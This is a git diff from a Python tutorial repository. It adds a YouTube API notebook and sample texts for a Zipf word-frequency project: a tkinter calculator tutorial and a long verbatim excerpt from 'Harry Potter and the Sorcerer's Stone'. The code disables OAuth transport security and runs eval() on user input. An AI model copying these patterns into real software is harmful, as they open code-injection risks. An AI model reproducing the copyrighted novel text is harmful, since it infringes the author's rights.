{}, + "outputs": [], + "source": [ + "from googleapiclient.discovery import build\n", + "from google_auth_oauthlib.flow import InstalledAppFlow\n", + "from google.auth.transport.requests import Request\n", + "\n", + "import urllib.parse as p\n", + "import re\n", + "import os\n", + "import pickle\n", + "\n", + "SCOPES = [\"https://www.googleapis.com/auth/youtube.force-ssl/"]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def youtube_authenticate():\n", + " os.environ[\"OAUTHLIB_INSECURE_TRANSPORT\"] = \"1\"\n", + " api_service_name = \"youtube\"\n", + " api_version = \"v3\"\n", + " client_secrets_file = \"credentials.json\"\n", + " creds = None\n", + " # the file token.pickle stores the user's access and refresh tokens, and is\n", + " # created automatically when the authorization flow completes for the first time\n", + " if os.path.exists(\"token.pickle\"):\n", + " with open(\"token.pickle\", \"rb\") as token:\n", + " creds = pickle.load(token)\n", + " # if there are no (valid) credentials availablle, let the user log in.\n", + " if not creds or not creds.valid:\n", + " if creds and creds.expired and creds.refresh_token:\n", + " creds.refresh(Request())\n", + " else:\n", + " flow = InstalledAppFlow.from_client_secrets_file(client_secrets_file, SCOPES)\n", + " creds = flow.run_local_server(port=0)\n", + " # save the credentials for the next run\n", + " with open(\"token.pickle\", \"wb\") as token:\n", + " pickle.dump(creds, token)\n", + "\n", + " return build(api_service_name, api_version, credentials=creds)\n", + "\n", + "# authenticate to YouTube API\n", + "youtube = youtube_authenticate()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def get_video_id_by_https://github.com/url(url):\n", + " \"\"\"\n", + " Return the Video ID from the video `url`\n", + " \"\"\"\n", + " # split URL parts\n", + " parsed_url = p.urlparse(url)\n", + " # get the video ID by parsing the query of the URL\n", + " video_id = p.parse_qs(parsed_url.query).get(\"v\")\n", + " if video_id:\n", + " return video_id[0]\n", + " else:\n", + " raise Exception(f\"Wasn't able to parse video URL: {url}\")\n", + "\n", + "def get_video_details(youtube, **kwargs):\n", + " return youtube.videos().list(\n", + " part=\"snippet,contentDetails,statistics\",\n", + " **kwargs\n", + " ).execute()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def print_video_infos(video_response):\n", + " items = video_response.get(\"items\")[0]\n", + " # get the snippet, statistics & content details from the video response\n", + " snippet = items[\"snippet\"]\n", + " statistics = items[\"statistics\"]\n", + " content_details = items[\"contentDetails\"]\n", + " # get infos from the snippet\n", + " channel_title = snippet[\"channelTitle\"]\n", + " title = snippet[\"title\"]\n", + " description = snippet[\"description\"]\n", + " publish_time = snippet[\"publishedAt\"]\n", + " # get stats infos\n", + " comment_count = statistics[\"commentCount\"]\n", + " like_count = statistics[\"likeCount\"]\n", + " view_count = statistics[\"viewCount\"]\n", + " # get duration from content details\n", + " duration = content_details[\"duration\"]\n", + " # duration in the form of something like 'PT5H50M15S'\n", + " # parsing it to be something like '5:50:15'\n", + " parsed_duration = re.search(f\"PT(\\d+H)?(\\d+M)?(\\d+S)\", duration).groups()\n", + " duration_str = \"\"\n", + " for d in parsed_duration:\n", + " if d:\n", + " duration_str += f\"{d[:-1]}:\"\n", + " duration_str = duration_str.strip(\":\")\n", + " print(f\"\"\"\\\n", + " Title: {title}\n", + " Description: {description}\n", + " Channel Title: {channel_title}\n", + " Publish time: {publish_time}\n", + " Duration: {duration_str}\n", + " Number of comments: {comment_count}\n", + " Number of likes: {like_count}\n", + " Number of views: {view_count}\n", + " \"\"\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "video_url = \"https://www.youtube.com/watch?v=jNQXAC9IVRw&ab_channel=jawed\"\n", + "# parse video ID from URL\n", + "video_id = get_video_id_by_url(https://github.com/video_url)\n", + "# make API call to get video info\n", + "response = get_video_details(youtube, id=video_id)\n", + "# print extracted video infos\n", + "print_video_infos(response)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def search(youtube, **kwargs):\n", + " return youtube.search().list(\n", + " part=\"snippet\",\n", + " **kwargs\n", + " ).execute()\n", + "\n", + "# search for the query 'python' and retrieve 2 items only\n", + "response = search(youtube, q=\"python\", maxResults=2)\n", + "items = response.get(\"items\")\n", + "for item in items:\n", + " # get the video ID\n", + " video_id = item[\"id\"][\"videoId\"]\n", + " # get the video details\n", + " video_response = get_video_details(youtube, id=video_id)\n", + " # print the video details\n", + " print_video_infos(video_response)\n", + " print(\"=\"*50)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def parse_channel_https://github.com/url(url):\n", + " \"\"\"\n", + " This function takes channel `url` to check whether it includes a\n", + " channel ID, user ID or channel name\n", + " \"\"\"\n", + " path = p.urlparse(url).path\n", + " id = path.split(\"/\")[-1]\n", + " if \"/c/\" in path:\n", + " return \"c\", id\n", + " elif \"/channel/\" in path:\n", + " return \"channel\", id\n", + " elif \"/user/\" in path:\n", + " return \"user\", id\n", + "\n", + "\n", + "def get_channel_id_by_url(https://github.com/youtube,%20url):\n", + " \"\"\"\n", + " Returns channel ID of a given `id` and `method`\n", + " - `method` (str): can be 'c', 'channel', 'user'\n", + " - `id` (str): if method is 'c', then `id` is display name\n", + " if method is 'channel', then it's channel id\n", + " if method is 'user', then it's username\n", + " \"\"\"\n", + " # parse the channel URL\n", + " method, id = parse_channel_https://github.com/url(url)\n", + " if method == \"channel\":\n", + " # if it's a channel ID, then just return it\n", + " return id\n", + " elif method == \"user\":\n", + " # if it's a user ID, make a request to get the channel ID\n", + " response = get_channel_details(youtube, forUsername=id)\n", + " items = response.get(\"items\")\n", + " if items:\n", + " channel_id = items[0].get(\"id\")\n", + " return channel_id\n", + " elif method == \"c\":\n", + " # if it's a channel name, search for the channel using the name\n", + " # may be inaccurate\n", + " response = search(youtube, q=id, maxResults=1)\n", + " items = response.get(\"items\")\n", + " if items:\n", + " channel_id = items[0][\"snippet\"][\"channelId\"]\n", + " return channel_id\n", + " raise Exception(f\"Cannot find ID:{id} with {method} method\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def get_channel_videos(youtube, **kwargs):\n", + " return youtube.search().list(\n", + " **kwargs\n", + " ).execute()\n", + "\n", + "\n", + "def get_channel_details(youtube, **kwargs):\n", + " return youtube.channels().list(\n", + " part=\"statistics,snippet,contentDetails\",\n", + " **kwargs\n", + " ).execute()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "channel_url = \"https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ/"\n", + "# get the channel ID from the URL\n", + "channel_id = get_channel_id_by_url(https://github.com/youtube,%20channel_url)\n", + "# get the channel details\n", + "response = get_channel_details(youtube, id=channel_id)\n", + "# extract channel infos\n", + "snippet = response[\"items\"][0][\"snippet\"]\n", + "statistics = response[\"items\"][0][\"statistics\"]\n", + "channel_country = snippet[\"country\"]\n", + "channel_description = snippet[\"description\"]\n", + "channel_creation_date = snippet[\"publishedAt\"]\n", + "channel_title = snippet[\"title\"]\n", + "channel_subscriber_count = statistics[\"subscriberCount\"]\n", + "channel_video_count = statistics[\"videoCount\"]\n", + "channel_view_count = statistics[\"viewCount\"]\n", + "print(f\"\"\"\n", + "Title: {channel_title}\n", + "Published At: {channel_creation_date}\n", + "Description: {channel_description}\n", + "Country: {channel_country}\n", + "Number of videos: {channel_video_count}\n", + "Number of subscribers: {channel_subscriber_count}\n", + "Total views: {channel_view_count}\n", + "\"\"\")\n", + "# the following is grabbing channel videos\n", + "# number of pages you want to get\n", + "n_pages = 2\n", + "# counting number of videos grabbed\n", + "n_videos = 0\n", + "next_page_token = None\n", + "for i in range(n_pages):\n", + " params = {\n", + " 'part': 'snippet',\n", + " 'q': '',\n", + " 'channelId': channel_id,\n", + " 'type': 'video',\n", + " }\n", + " if next_page_token:\n", + " params['pageToken'] = next_page_token\n", + " res = get_channel_videos(youtube, **params)\n", + " channel_videos = res.get(\"items\")\n", + " for video in channel_videos:\n", + " n_videos += 1\n", + " video_id = video[\"id\"][\"videoId\"]\n", + " # easily construct video URL by its ID\n", + " video_url = f\"https://www.youtube.com/watch?v={video_id}\"\n", + " video_response = get_video_details(youtube, id=video_id)\n", + " print(f\"================Video #{n_videos}================\")\n", + " # print the video details\n", + " print_video_infos(video_response)\n", + " print(f\"Video URL: {video_url}\")\n", + " print(\"=\"*40)\n", + " print(\"*\"*100)\n", + " # if there is a next page, then add it to our parameters\n", + " # to proceed to the next page\n", + " if \"nextPageToken\" in res:\n", + " next_page_token = res[\"nextPageToken\"]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def get_comments(youtube, **kwargs):\n", + " return youtube.commentThreads().list(\n", + " part=\"snippet\",\n", + " **kwargs\n", + " ).execute()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# URL can be a channel or a video, to extract comments\n", + "url = \"https://www.youtube.com/watch?v=jNQXAC9IVRw&ab_channel=jawed\"\n", + "# parameters to send to commentThreads API endpoint\n", + "params = {\n", + " 'maxResults': 2,\n", + " 'order': 'relevance', # default is 'time' (newest)\n", + "}\n", + "if \"watch\" in url:\n", + " # that's a video\n", + " video_id = get_video_id_by_https://github.com/url(url)\n", + " params['videoId'] = video_id\n", + "else:\n", + " # should be a channel\n", + " channel_id = get_channel_id_by_https://github.com/url(url)\n", + " params['allThreadsRelatedToChannelId'] = channel_id\n", + "# get the first 2 pages (2 API requests)\n", + "n_pages = 2\n", + "for i in range(n_pages):\n", + " # make API call to get all comments from the channel (including posts & videos)\n", + " response = get_comments(youtube, **params)\n", + " items = response.get(\"items\")\n", + " # if items is empty, breakout of the loop\n", + " if not items:\n", + " break\n", + " for item in items:\n", + " comment = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"textDisplay\"]\n", + " updated_at = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"updatedAt\"]\n", + " like_count = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"likeCount\"]\n", + " comment_id = item[\"snippet\"][\"topLevelComment\"][\"id\"]\n", + " print(f\"\"\"\\\n", + " Comment: {comment}\n", + " Likes: {like_count}\n", + " Updated At: {updated_at}\n", + " ==================================\\\n", + " \"\"\")\n", + " if \"nextPageToken\" in response:\n", + " # if there is a next page\n", + " # add next page token to the params we pass to the function\n", + " params[\"pageToken\"] = response[\"nextPageToken\"]\n", + " else:\n", + " # must be end of comments!!!!\n", + " break\n", + " print(\"*\"*70)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3.6.6 64-bit", + "language": "python", + "name": "python36664bitea6884f10f474b21a2a2f022451e0d09" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.7-final" + }, + "orig_nbformat": 2 + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/general/zipf-curve/README.md b/general/zipf-curve/README.md new file mode 100644 index 00000000..f2a0349f --- /dev/null +++ b/general/zipf-curve/README.md @@ -0,0 +1,4 @@ +# [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python) +To run this code, install: +- `pip install -r requirements.txt` +- The `texts` folder already exists if you want to use it. \ No newline at end of file diff --git a/general/zipf-curve/requirements.txt b/general/zipf-curve/requirements.txt new file mode 100644 index 00000000..8dd05464 --- /dev/null +++ b/general/zipf-curve/requirements.txt @@ -0,0 +1,3 @@ +numpy +matplotlib +scipy \ No newline at end of file diff --git a/general/zipf-curve/texts/Calculator with tkinter.txt b/general/zipf-curve/texts/Calculator with tkinter.txt new file mode 100644 index 00000000..b47a700e --- /dev/null +++ b/general/zipf-curve/texts/Calculator with tkinter.txt @@ -0,0 +1,371 @@ +# Calculator with tkinter +**How to make a simple calculator with tkinter which has a history function and variable insertion.** + +## Idea +In this tutorial, we are going to make a calculator with Tkinter the built-in GUI Library in python. We are going to make a 3 by 3 Grid with buttons that represent the possible inputs, a live result showing system, a history of calculations feature, and variable insertion. + +So let's get right into it. + +## Imports +As always we start with the imports. Because we make the UI with tkinter we need to import it, we import everything from `tkinter` so we don't have to write less code later on. We also import the font module from tkinter so we can change the fonts on our elements later. + +We continue by getting the `partial` function from `functools`. This is a genius function that excepts another function as a first argument and some args and kwargs and it will return a reference to this function with those arguments. This is especially useful when we want to insert one of our functions to a command argument of a button or a key binding. + +In the next line, we import `ctypes`, which allows us to enable high dpi, making our window look way sharper. This is done with the function call in the last line of this sections code block. + +Because we'll save our history in a JSON file we import the `json` module to parse json and stringify lists. + +We also need `re` the built-in regex module for our variable insertion feature. + +Last but not least we get math, but we do not don't need it we just import it so it can be used in the line edit of the calculator. + +```python +from tkinter import * +import tkinter.font as font +from functools import partial +import ctypes +import json +import re + +# so the functions that can be used from the math module can be used in the line edit. +import math + +ctypes.windll.shcore.SetProcessDpiAwareness(1) +``` + +## Variables and tkinter setup + +Next up we make some variables and we set up the tkinter. + +The first two variables are just colors for our buttons and for the background of the history panel. + +Next, we set up tkinter by calling its Tk class and saving this object in the `root` variable. We then set the window dimensions with the `geometry()` method and the window title with `title()`. + +We then import an image from our directory which we can set to be the icon of our program. + +Last but not least we import the font `Consolas` in the size 12. We do this with the `Font` class from the font module of tkinter. + +```python +# Colors +buttonColor = (255, 255, 255) +historyPanelBackground = (255, 255, 255) + +# Tkinter Setup +root = Tk() +root.geometry("550x270") +root.title("Calculator") + +# Setting icon for the Application +photo = PhotoImage(file = "icon.png") +root.iconphoto(False, photo) + +# Loading Font from font name +myFont = font.Font(family='Consolas', size=12) +``` + +## Formulas and variable insertions + +Now I am going to explain the variable insertion feature or at least I will try to! So the idea is that we can have a space after our equations where we declare variables that are inserted into the equation by placeholders. Let us look at this in a concrete example. If we type text below into the line edit. + +``` +{a} * {b} ? a=7 & b=3 +``` + +... should net us this result ... + +``` +21 +``` +... because where `a` was the 7 will be placed and where the `b` is we will insert the 3 and after that the equation will be evaluated and this will be `21`. + +We will later look at how this is done in practice. + +Below we also have a list of formulas that can be inserted into the line edit. We will make them pickable from a Menu. + +```python +# Formula Templates +formulas = [ + ['Pythagoras->c', '(({a}**2)+({b}**2))**0.5 ? a=5 & b=5'], + ['Pythagoras->c**2', '({a}**2)+({b}**2) ? a=5 & b=5'], + ['pq->(x1, x2)', '-({p}/2) + sqrt(({p}/2)**2 - ({q})), -({p}/2) - sqrt(({p}/2)**2 - ({q})) ? p=-1 & q=-12'], + ['abc->(x1, x2)', 'quadratic_formula({a}, {b}, {c}) ? a=1 & b=5 & c=6'], + ['Incline->y', '{m}{x} + {q} ? m=4 & x=5 & q=6'], +] +``` + +## History setup + +Next, we set up the history feature. + +We start by declaring a list that will hold our history items. Then we have a variable that holds the location of the `history.json` file. + +In the end, we have a try and except block, where there is an attempt to make the file at the specified location. This is just done so the file exists in all cases. + +```python +# All the history equations are in this list. +history = [] + +# Where the history file is located. +historyFilePath = 'history.json' + +print("Reading history from: ",historyFilePath ) + +# Creating History file if it does not exist. +try: + with open(historyFilePath, 'x') as fp: + pass + print("Created file at:", historyFilePath) +except: + print('File already exists') +``` + +## RGB to hex and math function. + +Now we talk about two functions that hold only minor importance. + +The first one simply converts RGB colors to hex colors because tkinter only allows color names and hex colors. + +The second one is a custom math function that can be used in the line edit. + +```python +# converting RGB values to HEX +def rgb_to_hex(rgb): + return "#%02x%02x%02x" % rgb + +def quadratic_formula(a, b, c): + disc = b**2 - 4 * a * c + + x1 = (-b - math.sqrt(disc)) / (2 * a) + x2 = (-b + math.sqrt(disc)) / (2 * a) + + return(x1, x2) +``` + +## Helper functions + +Now we will go over the several helper functions that are needed to make the program work. + +### `addSymbol` + +This function will be called from the buttons to insert operators like `*` or `+` and numbers into the line edit. That's where the symbol parameter comes in. Now if the symbol is `<` we won't append it, we will shorten the current input. We actually change the String Variable which holds the current input. + +```python +# Add something to the current calculation +def addSymbol(event=None, symbol=None): + + if symbol == '<': + entryVariable.set(entryVariable.get()[:-1]) + else: + entryVariable.set(entryVariable.get()+symbol) +``` + +### `varChange` + +This function will be connected to change events on the input variable. In this function, we will also evaluate the equation and insert it into the result label. + +Earlier we took a look at how the variable insertion feature functioned and now we look at how we do this in practice. + +As you see we first split the input string by the `?` and then we save this to the `evaluationString` variable. + +After that, we check if the input string split by `?` would result in a list with two items. If that's the case we know that there are insertion variables. Then we get this side of the string and we loop over another splitted version of this where the separator is `&`. There we modify the `evaluationString` with these variables. + +In either case, we will try to insert the evaluated value into the result label. Now it could be that this doesn't work because the input is invalid so we cover that case. + +```python +def varChange(*args): + evaluationString = entryVariable.get().replace(' ', '').split('?')[0] + + print('Before insertion: ',evaluationString) + + if len(entryVariable.get().split('?')) == 2: + + parameters = entryVariable.get().replace(' ', '').split('?')[1] + + for param in parameters.split('&'): + where, what = param.split('=') + evaluationString = re.sub('{'+where+'}', what, evaluationString) + + try: + print('After insertion: ', evaluationString) + resultLabel.config(text=str(eval(evaluationString))) + except: + resultLabel.config(text='Invalid Input') +``` + +### `saveCurrentInputToHistory` + +This function simply saves the current line edit input to the history file. We first check if the value is already in the list so we don't have duplicates. We then save the history list to the history file. Here we use the `json.dump()` function. and in the end, we call the `updateListBox` function, which will be explained later. + +```python +def saveCurrentInputToHistory(event=None): + if entryVariable.get() in history: + return + + history.append(entryVariable.get()) + + with open(historyFilePath, 'w') as file: + file.write(json.dumps(history)) + + updateListBox() +``` + +### `updateListBox` + +This function will delete all the contents of the history list and display them again, that's why need the history variable here. We then delete all the stuff in the list with the `delete(start, end)` method. Then we get open the history file and get the json from there. And in the end, we loop over the history list and insert those values into the history list. + +```python +def updateListBox(event=None): + global history + + historyList.delete(0, END) + + try: + with open(historyFilePath, 'r') as file: + history = json.loads(file.read()) + except json.decoder.JSONDecodeError: + print('File does not contain JSON') + + for index, item in enumerate(history): + historyList.insert(index, item) +``` + +### `setEntryFromHistory` and `addFormula` + +These two functions have simple jobs. + +The `setEntryFromHistory` enables us to click on a list item and this item will then be inserted into the line edit. + +The `addFormula` function will do the same just for the formulas chosen from the dropdownmenu. + +```python +def setEntryFromHistory(event=None): + historyItem = historyList.get(historyList.curselection()[0]) + entryVariable.set(historyItem) + +def addFormula(formula=''): + saveCurrentInputToHistory() + entryVariable.set(formula) +``` + +## UI + +Now we will make the UI. I wont go into detail to much. There are some different to take away from the code. + +The layout is done with the `pack` method of all widgets, and make the two-column setup by using `Frame`'s + +```python +# Work with Frames to split the window in two parts: the calculator and the History Panel. + +# Calculation Panel +calcSide = Frame(root) +calcSide.pack(side=LEFT, fill=BOTH, expand=1) + +# Entry Variable for the calculations +entryVariable = StringVar(root, '4/2**2') +entryVariable.trace('w', varChange) + +Entry(calcSide, textvariable=entryVariable, font=myFont, borderwidth=0).pack(fill=X, ipady=10, ipadx=10) +resultLabel = Label(calcSide, text='Result', font=myFont, borderwidth=0,anchor="e") +resultLabel.pack(fill=X, ipady=10) + +# History Panel +historySide = Frame(root, bg=rgb_to_hex(historyPanelBackground)) +historySide.pack(side=LEFT, fill=BOTH, expand=1) + +historyTopBar = Frame(historySide) +historyTopBar.pack(fill=X) +Label(historyTopBar, text='History').pack(side=LEFT) +Button(historyTopBar, text='Save Current Input', bg=rgb_to_hex(buttonColor), borderwidth=0, command=saveCurrentInputToHistory).pack(side=RIGHT) + +historyList = Listbox(historySide, borderwidth=0) +historyList.pack(fill=BOTH, expand=True) +historyList.bind("", setEntryFromHistory) +``` + +We also call this function so the list updates on startup. +```python +# Insert stuff into the history +updateListBox() +``` +Below you see how the Buttons are made. We first define a list with other lists in it where the symbols on the button are layed out. + +Then we loop over this first list and make a new frame for each row. we continue by looping over these inner lists and generating buttons with the given symbols. + +We set the background color on these buttons to our button color and then we lower every number from the button color tuple, this will give us a nice gradient for the buttons. + +```python +# Button Symbols (and their position) +symbols = [ + ['1', '2', '3', '+'], + ['4', '5', '6', '-'], + ['7', '8', '9', '/'], + ['0', '.', '<', '*'], +] + +for rowList in symbols: + + # Make a row + row = Frame(calcSide) + row.pack(fill=BOTH, expand=True) + for symbol in rowList: + + # Making and packing the Button + Button( + row, + text=symbol, + command=partial(addSymbol, symbol=symbol), + font=myFont, + bg=rgb_to_hex(buttonColor), + borderwidth=0 + ).pack( + side=LEFT, + fill=BOTH, + expand=1 + ) + + # Change button color each iteration for gradient. + buttonColor = (buttonColor[0] - 10, buttonColor[1] - 10, buttonColor[1] - 2) +``` + +We also make a menu where we have all our formulas ready to be inserted. + +```python +menubar = Menu(root) + +filemenu = Menu(menubar, tearoff=0) + +# Add all Formulas to the dropdown menu. +for formula in formulas: + filemenu.add_command(label=formula[0], command=partial(addFormula, formula[1])) + +filemenu.add_separator() + +# Quit command +filemenu.add_command(label="Exit", command=root.quit) + +menubar.add_cascade(menu=filemenu, label='Formulas') + +root.config(menu=menubar) +``` + +Now, in the end, we call the `valueChange` function so the input is evaluated on startup and we call the `mainloop()` method. + +```python +# Call the var change once so it is evaluated without actual change. +varChange('foo') + +root.mainloop() +``` + +## Showcase + +Below you see a little showcase of how the calculator works. + +![enter image description here](https://raw.githubusercontent.com/Maximinodotpy/calculator/main/showcase%20%282%29.gif) + +## Conclusion + +Excellent! You have successfully created a calculator using Python code! See how you can add more features to this program such as more formulas or a converter for different things like inches to centimers +## Conclusion + +Excellent! You have successfully created a **...** using Python code! See how you can add more features to this program such as **...** . \ No newline at end of file diff --git a/general/zipf-curve/texts/Harry Potter and the Sorcerer's Stone.txt b/general/zipf-curve/texts/Harry Potter and the Sorcerer's Stone.txt new file mode 100644 index 00000000..87b5d048 --- /dev/null +++ b/general/zipf-curve/texts/Harry Potter and the Sorcerer's Stone.txt @@ -0,0 +1,10702 @@ +Harry Potter and the Sorcerer's Stone + + +CHAPTER ONE + +THE BOY WHO LIVED + +Mr. and Mrs. Dursley, of number four, Privet Drive, were proud to say +that they were perfectly normal, thank you very much. They were the last +people you'd expect to be involved in anything strange or mysterious, +because they just didn't hold with such nonsense. + +Mr. Dursley was the director of a firm called Grunnings, which made +drills. He was a big, beefy man with hardly any neck, although he did +have a very large mustache. Mrs. Dursley was thin and blonde and had +nearly twice the usual amount of neck, which came in very useful as she +spent so much of her time craning over garden fences, spying on the +neighbors. The Dursleys had a small son called Dudley and in their +opinion there was no finer boy anywhere. + +The Dursleys had everything they wanted, but they also had a secret, and +their greatest fear was that somebody would discover it. They didn't +think they could bear it if anyone found out about the Potters. Mrs. +Potter was Mrs. Dursley's sister, but they hadn't met for several years; +in fact, Mrs. Dursley pretended she didn't have a sister, because her +sister and her good-for-nothing husband were as unDursleyish as it was +possible to be. The Dursleys shuddered to think what the neighbors would +say if the Potters arrived in the street. The Dursleys knew that the +Potters had a small son, too, but they had never even seen him. This boy +was another good reason for keeping the Potters away; they didn't want +Dudley mixing with a child like that. + +When Mr. and Mrs. Dursley woke up on the dull, gray Tuesday our story +starts, there was nothing about the cloudy sky outside to suggest that +strange and mysterious things would soon be happening all over the +country. Mr. Dursley hummed as he picked out his most boring tie for +work, and Mrs. Dursley gossiped away happily as she wrestled a screaming +Dudley into his high chair. + +None of them noticed a large, tawny owl flutter past the window. + +At half past eight, Mr. Dursley picked up his briefcase, pecked Mrs. +Dursley on the cheek, and tried to kiss Dudley good-bye but missed, +because Dudley was now having a tantrum and throwing his cereal at the +walls. "Little tyke," chortled Mr. Dursley as he left the house. He got +into his car and backed out of number four's drive. + +It was on the corner of the street that he noticed the first sign of +something peculiar -- a cat reading a map. For a second, Mr. Dursley +didn't realize what he had seen -- then he jerked his head around to +look again. There was a tabby cat standing on the corner of Privet +Drive, but there wasn't a map in sight. What could he have been thinking +of? It must have been a trick of the light. Mr. Dursley blinked and +stared at the cat. It stared back. As Mr. Dursley drove around the +corner and up the road, he watched the cat in his mirror. It was now +reading the sign that said Privet Drive -- no, looking at the sign; cats +couldn't read maps or signs. Mr. Dursley gave himself a little shake and +put the cat out of his mind. As he drove toward town he thought of +nothing except a large order of drills he was hoping to get that day. + +But on the edge of town, drills were driven out of his mind by something +else. As he sat in the usual morning traffic jam, he couldn't help +noticing that there seemed to be a lot of strangely dressed people +about. People in cloaks. Mr. Dursley couldn't bear people who dressed in +funny clothes -- the getups you saw on young people! He supposed this +was some stupid new fashion. He drummed his fingers on the steering +wheel and his eyes fell on a huddle of these weirdos standing quite +close by. They were whispering excitedly together. Mr. Dursley was +enraged to see that a couple of them weren't young at all; why, that man +had to be older than he was, and wearing an emerald-green cloak! The +nerve of him! But then it struck Mr. Dursley that this was probably some +silly stunt -- these people were obviously collecting for something... +yes, that would be it. The traffic moved on and a few minutes later, Mr. +Dursley arrived in the Grunnings parking lot, his mind back on drills. + +Mr. Dursley always sat with his back to the window in his office on the +ninth floor. If he hadn't, he might have found it harder to concentrate +on drills that morning. He didn't see the owls swoop ing past in broad +daylight, though people down in the street did; they pointed and gazed +open- mouthed as owl after owl sped overhead. Most of them had never +seen an owl even at nighttime. Mr. Dursley, however, had a perfectly +normal, owl-free morning. He yelled at five different people. He made +several important telephone calls and shouted a bit more. He was in a +very good mood until lunchtime, when he thought he'd stretch his legs +and walk across the road to buy himself a bun from the bakery. + +He'd forgotten all about the people in cloaks until he passed a group of +them next to the baker's. He eyed them angrily as he passed. He didn't +know why, but they made him uneasy. This bunch were whispering +excitedly, too, and he couldn't see a single collecting tin. It was on +his way back past them, clutching a large doughnut in a bag, that he +caught a few words of what they were saying. + +"The Potters, that's right, that's what I heard yes, their son, Harry" + +Mr. Dursley stopped dead. Fear flooded him. He looked back at the +whisperers as if he wanted to say something to them, but thought better +of it. + +He dashed back across the road, hurried up to his office, snapped at his +secretary not to disturb him, seized his telephone, and had almost +finished dialing his home number when he changed his mind. He put the +receiver back down and stroked his mustache, thinking... no, he was +being stupid. Potter wasn't such an unusual name. He was sure there were +lots of people called Potter who had a son called Harry. Come to think +of it, he wasn't even sure his nephew was called Harry. He'd never even +seen the boy. It might have been Harvey. Or Harold. There was no point +in worrying Mrs. Dursley; she always got so upset at any mention of her +sister. He didn't blame her -- if he'd had a sister like that... but all +the same, those people in cloaks... + +He found it a lot harder to concentrate on drills that afternoon and +when he left the building at five o'clock, he was still so worried that +he walked straight into someone just outside the door. + +"Sorry," he grunted, as the tiny old man stumbled and almost fell. It +was a few seconds before Mr. Dursley realized that the man was wearing a +violet cloak. He didn't seem at all upset at being almost knocked to the +ground. On the contrary, his face split into a wide smile and he said in +a squeaky voice that made passersby stare, "Don't be sorry, my dear sir, +for nothing could upset me today! Rejoice, for You-Know-Who has gone at +last! Even Muggles like yourself should be celebrating, this happy, +happy day!" + +And the old man hugged Mr. Dursley around the middle and walked off. + +Mr. Dursley stood rooted to the spot. He had been hugged by a complete +stranger. He also thought he had been called a Muggle, whatever that +was. He was rattled. He hurried to his car and set off for home, hoping +he was imagining things, which he had never hoped before, because he +didn't approve of imagination. + +As he pulled into the driveway of number four, the first thing he saw -- +and it didn't improve his mood -- was the tabby cat he'd spotted that +morning. It was now sitting on his garden wall. He was sure it was the +same one; it had the same markings around its eyes. + +"Shoo!" said Mr. Dursley loudly. The cat didn't move. It just gave him a +stern look. Was this normal cat behavior? Mr. Dursley wondered. Trying +to pull himself together, he let himself into the house. He was still +determined not to mention anything to his wife. + +Mrs. Dursley had had a nice, normal day. She told him over dinner all +about Mrs. Next Door's problems with her daughter and how Dudley had +learned a new word ("Won't!"). Mr. Dursley tried to act normally. When +Dudley had been put to bed, he went into the living room in time to +catch the last report on the evening news: + +"And finally, bird-watchers everywhere have reported that the nation's +owls have been behaving very unusually today. Although owls normally +hunt at night and are hardly ever seen in daylight, there have been +hundreds of sightings of these birds flying in every direction since +sunrise. Experts are unable to explain why the owls have suddenly +changed their sleeping pattern." The newscaster allowed himself a grin. +"Most mysterious. And now, over to Jim McGuffin with the weather. Going +to be any more showers of owls tonight, Jim?" + +"Well, Ted," said the weatherman, "I don't know about that, but it's not +only the owls that have been acting oddly today. Viewers as far apart as +Kent, Yorkshire, and Dundee have been phoning in to tell me that instead +of the rain I promised yesterday, they've had a downpour of shooting +stars! Perhaps people have been celebrating Bonfire Night early -- it's +not until next week, folks! But I can promise a wet night tonight." + +Mr. Dursley sat frozen in his armchair. Shooting stars all over Britain? +Owls flying by daylight? Mysterious people in cloaks all over the place? +And a whisper, a whisper about the Potters... + +Mrs. Dursley came into the living room carrying two cups of tea. It was +no good. He'd have to say something to her. He cleared his throat +nervously. "Er -- Petunia, dear -- you haven't heard from your sister +lately, have you?" + +As he had expected, Mrs. Dursley looked shocked and angry. After all, +they normally pretended she didn't have a sister. + +"No," she said sharply. "Why?" + +"Funny stuff on the news," Mr. Dursley mumbled. "Owls... shooting +stars... and there were a lot of funny-looking people in town today..." + +"So?" snapped Mrs. Dursley. + +"Well, I just thought... maybe... it was something to do with... you +know... her crowd." + +Mrs. Dursley sipped her tea through pursed lips. Mr. Dursley wondered +whether he dared tell her he'd heard the name "Potter." He decided he +didn't dare. Instead he said, as casually as he could, "Their son -- +he'd be about Dudley's age now, wouldn't he?" + +"I suppose so," said Mrs. Dursley stiffly. + +"What's his name again? Howard, isn't it?" + +"Harry. Nasty, common name, if you ask me." + +"Oh, yes," said Mr. Dursley, his heart sinking horribly. "Yes, I quite +agree." + +He didn't say another word on the subject as they went upstairs to bed. +While Mrs. Dursley was in the bathroom, 